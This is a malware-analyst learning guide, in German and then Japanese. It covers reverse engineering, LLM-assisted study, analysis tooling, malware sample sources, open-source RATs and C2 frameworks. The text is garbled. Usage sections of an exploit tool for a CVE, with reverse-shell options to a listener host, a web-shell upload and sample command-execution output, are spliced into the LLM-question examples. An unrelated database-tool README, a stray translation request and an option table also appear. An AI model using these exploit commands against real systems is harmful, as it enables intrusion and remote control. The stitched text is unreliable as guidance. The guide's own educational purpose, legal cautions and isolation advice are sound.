
Kuratierter Leitfaden zum Werden eines Malware-Analysten, der essenzielles Wissen, Reverse Engineering, Analysewerkzeuge und LLM-unterstütztes Lernen mit praktischen Übungen und Ressourcen abdeckt.
Dies ist die persönliche Meinung von @PINKSAWTOOTH und ist möglicherweise nicht unbedingt die beste Methode für dich. Ich hoffe, du kannst es als ein Beispiel für eine Lernmethode betrachten.
Bevor du dies liest, hat der von mir respektierte Malware-Analyst @hasherezade in einem Blog zusammengefasst, wie man am besten mit dem Studium der Malware-Analyse beginnen sollte. Es gibt wahrscheinlich Überschneidungen, aber ich empfehle, einen Blick darauf zu werfen. Da die folgenden Blogs hauptsächlich englischsprachige Quellen sind, möchte ich möglichst japanischsprachige Quellen vorstellen.
[!NOTE]
Nachtrag 2026: Malware-Analyse-Lernen im LLM-Zeitalter
Als ich begann, diese Seite zu schreiben, war die Zeit noch nicht so, dass LLMs und AI Agents so alltäglich genutzt werden konnten wie heute. Stand 2026 empfehle ich, beim Studium der Malware-Analyse und des Reverse Engineering zusätzlich zu Büchern und Web-Ressourcen aktiv LLMs zu nutzen. Besonders bei der Erstellung von Lernprogrammen, der Erklärung von Code und Assembler, der Analyse, der Erstellung von Analysescripts und der Organisation von Analyseergebnissen sind sie äußerst nützlich.
Andererseits gibt es immer mehr Situationen, in denen LLMs den Menschen bei vielen Analysetechniken übertreffen. Aber das bedeutet nicht, dass Grundkenntnisse überflüssig geworden sind. Um die Ausgaben von LLMs zu verstehen und deren Grundlagen und Richtigkeit selbst zu überprüfen, ist es wichtig, Fachkenntnisse zu besitzen (auch wenn der Tag, an dem diese Arbeit sinnlos wird, vielleicht nahe ist ...). In diesem Artikel wird davon ausgegangen, dass LLMs nicht als „Gerät, das Antworten liefert", sondern als „Lehrer, der gemeinsam lernt, und Assistent bei der Analyse" genutzt werden.
Zunächst möchte ich kurz das vorausgesetzte Wissen für die Malware-Analyse erläutern. Bevor man sich mit Malware-Analyse beschäftigt, sind zumindest Kenntnisse in der Informatik (Computer Science) erforderlich.
Für diese Themen sollte es ausreichen, wenn man die Inhalte versteht, die an Universitäten oder Fachschulen gelehrt werden. (Durch Einsicht in die Online-Syllabi irgendeiner Universität kann man konkretere Inhalte erfahren.) In diesem Artikel liegt der Fokus nicht darauf, wie man Programmiersprachen oder Informatik lernt, aber die folgenden Ressourcen sind empfehlenswert.
Das für die Malware-Analyse erforderliche Wissen lässt sich grob in die folgenden fünf Kategorien unterteilen.
Zunächst muss man lernen, was Malware ist und welche Arbeiten die Malware-Analyse umfasst. Ich möchte empfehlenswerte Ressourcen und Bücher vorstellen, um die Malware-Analyse im Allgemeinen zu erlernen.
Auch Online-Trainings zur Malware-Analyse sind empfehlenswert.
Ich möchte Seiten vorstellen, die das Verhalten von Malware und ausgenutzte Techniken zusammenfassen.
Täglich veröffentlichte Threat-Informationen sowie Blogs und Berichte zur Malware-Analyse sind ebenfalls wichtige Informationsquellen. Es ist praktisch, Updates über einen RSS-Reader usw. zu abonnieren. Es gibt auch Seiten, die diese zusammenfassen, die man nutzen kann.
Von diesen möchte ich einige vorstellen, die detaillierte Malware-Analysen auf Japanisch behandeln.
Darüber hinaus kann man durch das Lesen von YARA-Regeln die Merkmale von Malware lernen.
Reverse Engineering ist nur ein Teil der Malware-Analyse, aber um Malware-Analyst zu werden, ist es ein unvermeidlicher Weg. Allein durch dynamische Analyse mit einer Sandbox oder dynamische Analyse mit Tools (außer manuellem Debugging) ist es schwierig, das gesamte Funktionsspektrum von Malware oder die verwendeten Algorithmen zu identifizieren.
Um Reverse Engineering durchzuführen, muss man den ursprünglichen Quellcode verstehen. (Es wird die in der Malware-Analyse übliche Windows-Umgebung angenommen.) Ohne Erfahrung in der Programmierung mit Windows-APIs wäre die Malware-Analyse ein Umweg.
Microsoft veröffentlicht offizielle Dokumentation und Beispiele für Windows-APIs. ※Beachte, dass bei japanischen Übersetzungen einige Anzeigen fehlerhaft sein können.
Zum Erlernen der Funktionsweise des Windows-Betriebssystems sind die folgenden Bücher empfehlenswert.
C/C++ ist auch heute noch sehr wichtig, um das Reverse Engineering von Windows-Malware zu erlernen, und wird als erste zu lernende Sprache empfohlen. Andererseits sind nicht nur C/C++ tatsächliche Analyseziele. Stand 2026 ist es hilfreich, zumindest über die folgenden Sprachen Bescheid zu wissen, was die Merkmale von Binärdateien und Runtimes betrifft.
Man muss nicht von Anfang an alle Sprachen tiefgehend lernen. Man sollte sich bewusst sein, dass sich das erforderliche Wissen ändert, wenn sich die Entwicklungs-sprache oder Runtime ändert.
Wenn man die Programmiertechniken in der Sprache und Umgebung des Analyseziels beherrscht, kann man mit dem Studium des Reverse Engineering beginnen. Bei der Analyse von Windows-PE-Dateien, die in der Malware-Analyse üblich sind, sollte man zunächst versuchen, ein Einsteigerprogramm in C oder C++ zu reverse-engineeren. Als nächsten Schritt sollte man eine selbst kompilierte PE-Datei (für die der Quellcode vorliegt) analysieren, die Win-APIs verwendet. Selbst bei demselben Quellcode wird die Reverse-Engineering-Fähigkeit erheblich verbessert, wenn man untersucht, welche Veränderungen in der ausführbaren Datei auftreten, wenn man das gewählte Projekt oder die Kompilierungs- und Linkoptionen ändert.
Früher wurde empfohlen, Microsoft-Beispiele oder Code auf GitHub zu suchen und diesen beim Lernen umzuschreiben. Diese Methode ist auch heute noch gültig, aber Stand 2026 ist es ebenfalls sehr effektiv, LLMs oder Coding Agents kleine Programme erstellen zu lassen, die auf das eigene Lernziel zugeschnitten sind.
Zum Beispiel lässt man zunächst ein kleines Programm mit etwa 10 bis 50 Zeilen generieren.```text CreateFileWとWriteFileを使ってテキストファイルを作成する、 できるだけ小さなWindows Cプログラムを作ってください。 リバースエンジニアリングの教材に使いたいので、 処理を複雑にせず、各Windows APIを使う理由も説明してください。
生成されたコードを、Microsoft Learnのドキュメントと照らし合わせながら内容を確認し、自分でコンパイルします。
その後、GhidraやIDAなどで自分がコンパイルしたバイナリを解析し、元のソースコードと逆アセンブル・デコンパイル結果を比較します。
以下のループで勉強します。```text
LLMに小さなコードを作らせる
↓
ソースコードを読む・APIを調べる
↓
自分でビルドする
↓
Ghidraなどで解析する
↓
元のソースコードと比較する
↓
分からない部分だけLLMに質問する
↓
別の条件で再ビルドして比較する
例えば、同じ処理のソースコードについて以下を比較してみるとよいでしょう。
元のソースコードを知っている状態でバイナリを解析することは、リバースエンジニアリングを学ぶ上で非常に良いトレーニングになります。
さらにリバースエンジニアリング技術を磨くにはCTFのRev問やCrackmeを解くと良いでしょう。 特にPEファイルの問題やマルウェア解析者を対象としたものが、おすすめです。
またマルウェアのリバースエンジニアリングでは、暗号アルゴリズムの処理をリバースエンジニアリングすることが多いので、基本的な暗号技術について学ぶことを推奨します。 アルゴリズムを理解したらGitHubなどで公開されているオープンソースの暗号アルゴリズム実装のソースコードを読み、実際にリバースエンジニアリングしてみましょう。
マルウェア解析をすすめるうえで、よりよいツールを使うことやツールを使いこなすことで容易に解析できることがあります。 また、様々な知識を持っていても実際にはツールを通して解析するため、ツールの利用方法も理解しておく必要があります。
解析ツールのインストールや更新などの管理には、Windows環境ではMandiantが公開しているFLARE-VMが便利です。マルウェア解析やリバースエンジニアリングに必要なツールをまとめて導入することができます。
Linux環境では、REMnuxが利用できます。こちらもマルウェア解析に必要なツールがまとめられており、収録ツールの一覧から確認できます。
FLARE-VMとREMnuxはどちらもマルウェア解析環境を簡単に構築できるため、初めて解析環境を作る場合にもおすすめです。それぞれに含まれているツールを確認し、実際に使ってみることで、どのような解析ツールが存在し、どのような場面で利用するのかを学ぶことができます。
また、以下のリンクで紹介されているツールについても利用してみるとよいでしょう。
LLMの便利な使い方の一つは、分からないことをその場で質問できる教師として利用することです。LLMが登場する以前は、自分が理解できていないことを自分で調べ、その内容を理解する必要がありました。特に初学者の場合、そもそも何を調べればよいのか分からないことも多く、学習するうえで一つのハードルになっていたと思います。現在では、高いレベルの知識を持つLLMが、自分の理解度に合わせて何度でも丁寧に説明してくれます。分からなければ聞き直せばよいですし、「もっと簡単に説明して」、「具体例を出して」、「この理解で合っているか確認して」といった使い方もできます。 意欲さえあれば、分からないことをいくらでも質問しながら学習できる、いい時代になったと思います。
例えば、逆アセンブル結果やデコンパイル結果について、以下のような質問ができます。```text この関数の役割と、そう判断できる理由を教えてください。
## Verwendung
```bash
# Grundlegende Verwendung
python3 cve_2025_55182.py -u https://ziel.example.com
# Mit Authentifizierung
python3 cve_2025_55182.py -u https://ziel.example.com -u admin -p passwort
# Reverse-Shell-Modus
python3 cve_2025_55182.py -u https://ziel.example.com --shell --lhost 192.168.1.100 --lport 4444
# Benutzerdefinierter Befehl
python3 cve_2025_55182.py -u https://ziel.example.com -c "id; whoami"
# Proxy verwenden
python3 cve_2025_55182.py -u https://ziel.example.com --proxy http://127.0.0.1:8080
# Ausgabe in Datei speichern
python3 cve_2025_55182.py -u https://ziel.example.com -o ergebnis.txt
[*] Ziel: https://ziel.example.com
[*] Zielversion erkannt: 2.3.1
[+] Schwachstelle bestätigt!
[*] Ausnutzung läuft...
[+] Befehl erfolgreich ausgeführt!
[+] Ausgabe:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Die Verwendung gegen Systeme ohne vorherige Genehmigung ist illegal.```text このデコンパイル結果から変数の型を推定したいです。 型を判断するために、どの命令、API、参照先を確認すべきですか?
Please provide the Markdown content to translate.```text
このWindows API呼び出しの前後で使われている構造体について説明してください。
各フィールドを確認するためにGhidra上でどこを見るべきかも教えてください。
# Grundlegende Verwendung
python3 cve_2025_55182.py -u https://ziel.example.com
# Mit Authentifizierung
python3 cve_2025_55182.py -u https://ziel.example.com -u admin -p passwort
# Reverse Shell
python3 cve_2025_55182.py -u https://ziel.example.com --revshell 10.0.0.1 4444
# Datei-Upload
python3 cve_2025_55182.py -u https://ziel.example.com --upload /tmp/shell.jsp
# Batch-Scan
python3 cve_2025_55182.py -f ziele.txt -t 20
Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Die Verwendung gegen Systeme ohne vorherige Genehmigung ist illegal.```text このアセンブリを1命令ずつ説明するのではなく、 まずbasic blockごとの役割を整理して、私が自分で処理を推定できるようにヒントをください。
| `-s` | `--server` | 接続先サーバーを指定する |
| `-p` | `--port` | 接続先ポートを指定する |
| `-u` | `--user` | ユーザー名を指定する |
| `-P` | `--password` | パスワードを指定する |
| `-d` | `--database` | データベース名を指定する |
| `-t` | `--timeout` | タイムアウト時間を指定する |
| `-v` | `--verbose` | 詳細なログを出力する |
| `-h` | `--help` | ヘルプを表示する |
| `-V` | `--version` | バージョンを表示する |
### 使用例
```bash
# 基本的な使い方
python3 main.py -s 192.168.1.1 -p 3306 -u root -P password -d testdb
# タイムアウトを指定する場合
python3 main.py -s 192.168.1.1 -p 3306 -u root -P password -d testdb -t 10
# 詳細なログを出力する場合
python3 main.py -s 192.168.1.1 -p 3306 -u root -P password -d testdb -v
このプロジェクトはMITライセンスの下で公開されています。詳細はLICENSEファイルを参照してください。
本ツールの使用によって生じたいかなる損害についても、作者は一切の責任を負いません。自己責任で使用してください。```text 私はこの関数を「設定ファイルの読み込み処理」だと推測しました。 この仮説を検証するために確認すべきポイントを挙げてください。
最初から答えを聞くのではなく、ヒント、確認ポイント、検証方法を聞く使い方がおすすめです。
### Agentic Reverse Engineering
2026年現在は、ChatGPTのような対話型LLMだけでなく、ファイルの読み書き、プログラムのビルド、コマンドの実行などを行えるCoding Agentも利用できるようになっています。
さらに、MCP(Model Context Protocol)などを利用することで、AI Agentから解析ツールを直接操作する方法も広まりつつあります。
例えばREMnuxには、AI AgentからREMnux上のマルウェア解析ツールを利用するためのMCP Serverが用意されています。
- [Using AI with REMnux](https://docs.remnux.org/tips/using-ai)
- [REMnux MCP Server](https://github.com/REMnux/remnux-mcp-server)
Ghidraについても、AI Agentから操作するためのMCP実装がいくつか登場しています。私もGhidraをHeadlessで利用し、MCP経由でAI Agentから解析を行うためのMecha Ghidraを開発しています。
- [Mecha Ghidra](https://github.com/ghidra-user-jp/mecha_ghidra)
IDAやその他のリバースエンジニアリングツールについても、MCPやAgentと連携するための実装が複数登場しており、これまで人間が手作業で行っていた解析作業をAgentに任せることができるようになっています。
一方で、初学者の段階からすべての解析をAgentに任せてしまうのはおすすめしません。「なぜその解析を行ったのか」「ツールが内部で何をしているのか」「出力された結果が正しいのか」といったことを自分で判断する力が身につきにくくなるためです。
まずは自分で解析し、分からない部分をLLMに質問するところから始めるとよいでしょう。慣れてきたら、解析支援スクリプトの作成、MCPによるツール連携、Agentを使った解析の自動化へと徐々に進んでいくことをおすすめします。
### LLMへ情報を入力するときの注意
業務で扱っているマルウェア、顧客から提供されたファイル、未公開のIoC、インシデント情報、社内情報などを外部のLLMサービスへ入力する場合には注意が必要です。
利用しているサービスの契約内容、データの保持期間、学習への利用有無、所属組織のルールなどを確認したうえで利用しましょう。
必要に応じて、以下のような対策を検討してください。
- 機微情報をマスクする
- 組織で許可されたLLMサービスを利用する
- APIやEnterprise向けサービスのデータ取り扱いを確認する
- 必要に応じてローカルLLMを利用する
また、マルウェア本体や解析対象のファイル、解析結果の中には、AI Agentを意図しない動作へ誘導する文字列が含まれている可能性もあります。
特に、AI Agentがファイル操作やコマンド実行、解析ツールの操作まで行える場合は、通常のLLMよりも強い権限を持つことになります。そのため、マルウェア解析でAI Agentを利用する場合は、VMなどの隔離環境上で実行し、安全性を確保することをおすすめします。
AIはかなり賢くなりましたが、それでも意図しないコマンドを実行することがあります。
これまでのマルウェア解析と同様に解析環境を隔離するという基本を守って利用しましょう。
# 実際のマルウェアを使わない学習
2026年現在、マルウェア解析を勉強するために、最初から実際のマルウェアを入手する必要はありません。
むしろ初学者には、以下の順番をおすすめします。
1. LLMや自分で作成した10〜50行程度の小さなプログラム
2. 自分でコンパイルしたWindows APIのサンプル
3. CTF/Crackme/マルウェア解析トレーニング用サンプル
4. マルウェアやC2フレームワークなど、ソースコードが公開されているOSS実装
5. 必要性があり、安全な解析環境を準備できる場合のみ実際のマルウェア
最初のうちは、元のソースコードが分かっているプログラムを教材にするのがおすすめです。
自分で解析した結果と実際のソースコードを比較できるため、「どこまで正しく解析できたか」「どこを読み違えたか」を自分で確認できます。
いきなり実際のマルウェアを解析するよりも、まずは答え合わせのできる教材を使って、逆アセンブルやデコンパイル結果の読み方に慣れる方が効率よく学習できると思います。
# マルウェアの入手
## 前置き
ここではマルウェアの入手方法について触れますが、紹介するサービスを利用する際は利用規約を必ず読んで利用してください。
また、以下の内容は、マルウェアの入手を勧めるものではありません。
不正指令電磁的記録に関する罪では、マルウェアの作成、提供、取得、保管などについて、その目的や正当な理由の有無などが要件になります。
私は法律の専門家ではないため、どういった理由であれば法律上の`正当な理由`にあたるかはわかりません。
個人の趣味でマルウェア解析をおこなうことは`正当な理由`として認められない可能性もあります。
捜査されると困る、裁判になったら困る、正当な理由として提示できる活動実績がない、弁護費用がないなど、平穏な人生を絶対に送りたいという人は、個人の趣味でやらないほうがよいかと思います。
とはいえ過度に怯えすぎて萎縮する必要はないとは思います。
最低限、警視庁が公開している不正指令電磁的記録に関する罪に関するページには目を通して、内容を確認しておきましょう。
- https://www.keishicho.metro.tokyo.jp/kurashi/cyber/law/virus.html
マルウェアを扱う上で気にしなければいけないことは、法律面だけではありません。
マルウェアを実行(故意かどうかは問わない)すると、たいていの場合は攻撃者の用意したサーバにアクセスします。
攻撃者のサーバには自分の利用しているIPアドレスのログが残りますし、接続時に利用しているシステムの情報を送信することもあります。
マルウェアによっては、攻撃者によるコマンドの実行などがおこなわれることも考えられますし、内部ネットワークのスキャンや(一番避けるべき)外部への感染活動などがおこなわれるかもしれません。
攻撃者のサーバに記録された情報は攻撃者自身だけでなく、第三者へ提供されることもあります。また、捜査機関はサーバを差し押さえてログを解析したうえで、ISPに情報開示請求をおこなうことができます。
以下のどれか一つにでも当てはまる場合は、実際のマルウェアを利用した学習は控えましょう。
- マルウェアを取り扱う上で、不安がある。
- マルウェア解析のための専用PCや独立したネットワークなど隔離した環境を用意できない。
- 未成年もしくは学生であるが、マルウェアを扱った解析や研究をするうえで責任者がいない(社会人の場合は、全て自己責任として責任を取れない)。
実際のマルウェアを個人的に入手しなくても、学習する方法は前述しております。
最後にオタクがみんな大好きな以下の名言たちで前置きを終えます。
- `With great power comes great responsibility`
- `The abyss gazes also into you.`
## マルウェア共有サービス/IoC共有サービス
マルウェアのサンプルやIoCを共有するためのサービスがいくつかあります。もっとも登録が多く有名なサービスはVirusTotalですが、有償アカウントのみダウンロードが可能であるため、ここでは無償で利用可能なサービスを紹介します。
この2つのサービスがサンプルの入手先としては有力です。
- [MalwareBazaar](https://bazaar.abuse.ch/)
- [Vx Underground](https://www.vx-underground.org/)
参考情報として以下のサービスも記載しておきます。
- [URLhaus](https://urlhaus.abuse.ch/)
- [ThreatFox](https://threatfox.abuse.ch/)
- [MalShare](https://www.malshare.com/)
- [VirusShare](https://virusshare.com/)
- [VirusBay](https://beta.virusbay.io/)
- [Vx Vaul](http://vxvault.net//ViriList.php)
- [theZoo](https://thezoo.morirt.com/)
- [malpedia](https://malpedia.caad.fkie.fraunhofer.de/)
## オンラインサンドボックス
無料で使用できるオンラインサンドボックスのサービスは本来マルウェアの挙動を解析するサービスですが、他者の投稿したマルウェアをダウンロードすることができます。
- [Hybrid Analysis](https://www.hybrid-analysis.com/)
- [Any Run](https://app.any.run/)
- [Triage](https://tria.ge/)
- [Joe Sandbox](https://www.joesandbox.com/)
- [cape](https://capesandbox.com/)
## OSS RAT
以下はRAT(Remote Access Trojan)の実装を理解するのに役に立つリポジトリです。
ソースコードと実際のバイナリを比較することで、通信処理、コマンド実行、ファイル操作などの実装を学ぶことができます。
- [Lilith RAT](https://github.com/werkamsus/Lilith)
- [Quasar RAT](https://github.com/quasar/Quasar)
- [NGLite](https://github.com/Maka8ka/NGLite)
- [AsyncRAT](https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp)
- [trochilus RAT](https://github.com/5loyd/trochilus)
- [gh0st RAT](https://github.com/sin5678/gh0st)
- [Poison-Ivy-Reload](https://github.com/killeven/Poison-Ivy-Reload)
- [GitHub Topics rat](https://github.com/topics/rat)
## C2フレームワーク
マルウェアのC2通信やAgentの実装を理解するためには、オープンソースで公開されているC2フレームワークのソースコードを読むことも参考になります。
C2フレームワークには、AgentとC2 Server間の通信、コマンドの受信と実行、ファイル操作、プロセス操作、通信データの暗号化など、マルウェアでもよく見られる機能が実装されています。
それぞれ実装言語やAgentの構造、通信方式が異なるため、ソースコードと生成されたAgentを比較しながらリバースエンジニアリングしてみるのもよいでしょう。
- [Sliver](https://github.com/BishopFox/sliver)
- [Mythic](https://github.com/its-a-feature/Mythic)
- [Mythic Agents](https://github.com/MythicAgents)
- [AdaptixC2](https://github.com/Adaptix-Framework/AdaptixC2)
- [Empire](https://github.com/BC-SECURITY/Empire)
- [PoshC2](https://github.com/nettitude/PoshC2)
- [Merlin](https://github.com/Ne0nd0g/merlin)
- [MITRE CALDERA](https://github.com/mitre/caldera)
- [Havoc](https://github.com/HavocFramework/Havoc)
- [The C2 Matrix](https://www.sans.org/tools/the-c2-matrix)
- 様々なC2フレームワークの機能や特徴を比較するための一覧
| Option | Beschreibung | Standard |
|---|
-u, --url | Ziel-URL (erforderlich) | - |
-U, --username | Benutzername für Authentifizierung | - |
-p, --password | Passwort für Authentifizierung | - |
-c, --command | Auszuführender Befehl | id |
--shell | Reverse-Shell-Modus aktivieren | false |
--lhost | Listener-Host für Reverse-Shell | - |
--lport | Listener-Port für Reverse-Shell | 4444 |
--proxy | HTTP(S)-Proxy-URL | - |
-o, --output | Ausgabedatei | - |
-v, --verbose | Ausführliche Ausgabe aktivieren | false |
--timeout | Anfrage-Timeout in Sekunden | 30 |
--no-verify | SSL-Zertifikatsüberprüfung deaktivieren | false |